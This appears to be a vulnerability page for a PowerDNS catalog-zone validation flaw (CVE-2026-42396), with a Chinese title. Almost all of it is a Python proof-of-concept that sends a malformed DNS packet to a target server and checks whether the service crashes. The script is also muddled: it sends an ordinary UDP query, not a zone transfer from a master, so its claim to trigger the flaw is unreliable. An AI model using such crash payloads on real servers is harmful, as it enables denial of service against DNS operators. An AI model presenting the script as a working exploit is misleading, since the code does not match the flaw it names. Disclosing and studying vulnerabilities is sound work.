CVE-2026-42396 PowerDNS区域传送验证不足漏洞

import socket import struct # This is a conceptual PoC for CVE-2026-42396 # It demonstrates sending a malformed Catalog Zone payload to trigger the validation failure. # Note: Exploitation requires High Privileges (PR:H) as a trusted master. def send_malformed_catalog_zone(target_ip, target_port): try: # Construct a basic DNS packet header transaction_id = 0x1234 flags = 0x0100 # Standard query questions = 1 answer_rrs = 0 authority_rrs = 0 additional_rrs = 1 header = struct.pack("!HHHHHH", transaction_id, flags, questions, answer_rrs, authority_rrs, additional_rrs) # Question section (asking for the Catalog Zone) # Assuming the catalog zone is named 'catalog.example.com' question = b'\x07catalog\x07example\x03com\x00' question += struct.pack("!HH", 0x00FF, 0x0001) # TYPE: ANY (or specific Catalog type), CLASS: IN # Additional section: Malformed Member Zone Data # The vulnerability is triggered by invalid data in the member zone definition # Here we simulate a payload that might bypass validation or cause a crash malformed_member = b'\x05bad\x07member\x03com\x00' malformed_member += struct.pack("!HHIH", 0x00FF, 0x0001, 0x00000001, 0x0000) # Type, Class, TTL, DataLength # Injecting unexpected data to trigger the parsing failure malformed_payload = b'\x00' * 10 packet = header + question + malformed_member + malformed_payload sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed Catalog Zone packet sent to {target_ip}:{target_port}") print("[+] Check if the zone transfer fails or service crashes.") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": # Replace with actual target IP and Port target = "192.168.1.100" port = 53 send_malformed_catalog_zone(target, port)